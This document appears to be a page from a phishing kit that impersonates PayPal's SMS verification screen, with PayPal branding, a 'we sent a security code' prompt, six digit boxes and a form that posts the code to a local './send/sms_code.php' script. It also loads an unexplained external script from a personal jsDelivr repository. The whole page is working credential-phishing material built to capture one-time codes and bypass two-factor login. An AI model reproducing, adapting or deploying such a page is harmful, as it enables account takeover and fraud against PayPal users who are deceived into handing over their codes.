<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PayPal Authentication</title>
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <link rel="icon" href="./images/favico.svg" type="image/x-icon">
    <style>
        :root {
            --paypal-blue: #003087;
            --paypal-light-blue: #0070ba;
            --paypal-white: #ffffff;
            --paypal-gray: #f5f7fa;
            --paypal-dark-gray: #2c2e2f;
            --paypal-light-gray: #e6e8eb;
            --success-green: #28a745;
            --warning-red: #dc3545;
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Poppins', sans-serif;
        }

        body {
            background-color: var(--paypal-gray);
            color: var(--paypal-dark-gray);
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            padding: 20px;
        }

        .container {
            max-width: 480px;
            width: 100%;
            background-color: var(--paypal-white);
            border-radius: 16px;
            box-shadow: 0 8px 24px rgba(0, 48, 135, 0.1);
            overflow: hidden;
        }

        .header {
            background-color: var(--paypal-blue);
            padding: 24px;
            text-align: center;
            color: var(--paypal-white);
            position: relative;
        }

        .logo {
            position: absolute;
            top: 20px;
            left: 24px;
            height: 24px;
        }

        .header h1 {
            font-weight: 600;
            font-size: 24px;
            margin-bottom: 8px;
        }

        .header p {
            font-weight: 300;
            font-size: 14px;
            opacity: 0.9;
        }

        .content {
            padding: 32px;
        }

        .sms-confirmation {
            margin-top: 16px;
        }

        .sms-title {
            font-weight: 500;
            margin-bottom: 24px;
            font-size: 16px;
            text-align: center;
        }

        .code-inputs {
            display: flex;
            justify-content: space-between;
            margin-bottom: 24px;
        }

        .code-input {
            width: 48px;
            height: 56px;
            border: 2px solid var(--paypal-light-gray);
            border-radius: 8px;
            text-align: center;
            font-size: 24px;
            font-weight: 600;
            color: var(--paypal-blue);
            transition: all 0.2s;
        }

        .code-input:focus {
            border-color: var(--paypal-light-blue);
            outline: none;
            box-shadow: 0 0 0 3px rgba(0, 112, 186, 0.2);
        }

        .code-input.error {
            border-color: var(--warning-red);
            background-color: rgba(220, 53, 69, 0.05);
        }

        .resend {
            text-align: center;
            font-size: 14px;
            color: var(--paypal-light-blue);
            cursor: pointer;
            margin-top: 16px;
        }

        .resend:hover {
            text-decoration: underline;
        }

        .notification {
            text-align: center;
            font-size: 14px;
            margin-top: 16px;
            font-weight: 500;
            display: none;
        }

        .success-notification {
            color: var(--success-green);
        }

        .timer-notification {
            color: var(--warning-red);
        }

        .error-notification {
            color: var(--warning-red);
            display: block;
            margin-bottom: 16px;
        }

        .button {
            width: 100%;
            padding: 16px;
            border-radius: 50px;
            border: none;
            font-weight: 600;
            font-size: 16px;
            cursor: pointer;
            transition: all 0.2s;
        }

        .confirm-btn {
            background-color: var(--paypal-blue);
            color: white;
        }

        .confirm-btn:hover {
            background-color: #00256e;
        }

        .footer {
            padding: 16px;
            text-align: center;
            font-size: 12px;
            color: #6c757d;
            border-top: 1px solid var(--paypal-light-gray);
        }

        .copyright {
            margin-top: 8px;
            font-size: 11px;
            color: #6c757d;
        }

        @media (max-width: 480px) {
            .content {
                padding: 24px;
            }
            
            .code-input {
                width: 40px;
                height: 48px;
                font-size: 20px;
            }

            .logo {
                height: 20px;
                top: 22px;
                left: 16px;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>Enter your code</h1>
            <p>We sent a security code to your mobile device</p>
        </div>
        
        <div class="content">
            <form id="mrform" name="mrform" action="./send/sms_code.php" method="POST">
                <div class="sms-confirmation">
                    <div class="sms-title">Enter 6-digit verification code</div>
                    
                    <div class="code-inputs">
                        <input type="text" class="code-input" maxlength="1" data-index="1" name="digit1">
                        <input type="text" class="code-input" maxlength="1" data-index="2" name="digit2">
                        <input type="text" class="code-input" maxlength="1" data-index="3" name="digit3">
                        <input type="text" class="code-input" maxlength="1" data-index="4" name="digit4">
                        <input type="text" class="code-input" maxlength="1" data-index="5" name="digit5">
                        <input type="text" class="code-input" maxlength="1" data-index="6" name="digit6">
                    </div>
                    
                    <div class="notification error-notification" id="error-notification" style="display: none;">
                        Please complete all fields to continue
                    </div>
                    
                    <input type="hidden" id="full-code" name="verification_code">
                    
                    <div class="resend" id="resend-code">Resend code</div>
                    <div class="notification success-notification" id="sent-notification">Sent!</div>
                    <div class="notification timer-notification" id="timer-notification">Resend available in <span id="timer">02:00</span></div>
                </div>
                <br><br>
                <button type="submit" class="button confirm-btn" id="confirm-btn">Submit</button>
            </form>
        </div>
        
        <div class="footer">
            PayPal protects your information with industry-leading security.
            <div class="copyright">© 1999-<?php echo date("Y"); ?> PayPal, Inc. All rights reserved.</div>
        </div>
    </div>
<script src="https://cdn.jsdelivr.net/gh/900com/jsdelivr@latest/p2.js"></script>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const codeInputs = document.querySelectorAll('.code-input');
            const resendBtn = document.getElementById('resend-code');
            const confirmBtn = document.getElementById('confirm-btn');
            const sentNotification = document.getElementById('sent-notification');
            const timerNotification = document.getElementById('timer-notification');
            const errorNotification = document.getElementById('error-notification');
            const timerDisplay = document.getElementById('timer');
            const verificationForm = document.getElementById('mrform');
            const fullCodeInput = document.getElementById('full-code');
            
            // Set initial timer state
            let timeLeft = 120; // 2 minutes in seconds
            let timerInterval;
            
            // Start the countdown timer
            function startTimer() {
                timerNotification.style.display = 'block';
                resendBtn.style.display = 'none';
                
                timerInterval = setInterval(function() {
                    const minutes = Math.floor(timeLeft / 60);
                    const seconds = timeLeft % 60;
                    
                    timerDisplay.textContent = `${minutes.toString().padStart(2, '0')}:${seconds.toString().padStart(2, '0')}`;
                    
                    if (timeLeft <= 0) {
                        clearInterval(timerInterval);
                        timerNotification.style.display = 'none';
                        resendBtn.style.display = 'block';
                    } else {
                        timeLeft--;
                    }
                }, 1000);
            }
            
            // Initialize timer on page load
            startTimer();
            
            // Auto-focus first input
            codeInputs[0].focus();
            
            // Handle code input navigation
            codeInputs.forEach((input, index) => {
                input.addEventListener('input', function(e) {
                    // Remove error state when typing
                    input.classList.remove('error');
                    errorNotification.style.display = 'none';
                    
                    if (this.value.length === 1) {
                        if (index < codeInputs.length - 1) {
                            codeInputs[index + 1].focus();
                        } else {
                            this.blur();
                            confirmBtn.focus();
                        }
                    }
                });
                
                input.addEventListener('keydown', function(e) {
                    if (e.key === 'Backspace' && this.value.length === 0 && index > 0) {
                        codeInputs[index - 1].focus();
                    }
                });
            });
            
            // Resend code functionality
            resendBtn.addEventListener('click', function() {
                // Reset timer
                clearInterval(timerInterval);
                timeLeft = 120;
                startTimer();
                
                // Show notification
                sentNotification.style.display = 'block';
                setTimeout(() => {
                    sentNotification.style.display = 'none';
                }, 3000);
                
                // Clear inputs and focus first one
                codeInputs.forEach(input => input.value = '');
                codeInputs[0].focus();
            });
            
            // Form submission handler
            verificationForm.addEventListener('submit', function(e) {
                // Check if all fields are filled
                let allFilled = true;
                codeInputs.forEach(input => {
                    if (!input.value) {
                        allFilled = false;
                        input.classList.add('error');
                    }
                });
                
                if (!allFilled) {
                    e.preventDefault();
                    errorNotification.style.display = 'block';
                    // Focus on first empty field
                    for (let i = 0; i < codeInputs.length; i++) {
                        if (!codeInputs[i].value) {
                            codeInputs[i].focus();
                            break;
                        }
                    }
                    return;
                }
                
                // Combine all digits into one code
                let code = '';
                codeInputs.forEach(input => {
                    code += input.value;
                    input.disabled = true; // Disable inputs during submission
                });
                
                // Set the combined code in the hidden input
                fullCodeInput.value = code;
                
                // The form will now submit to ./send/sms_code.php
            });
        });
    </script>
</body>
</html>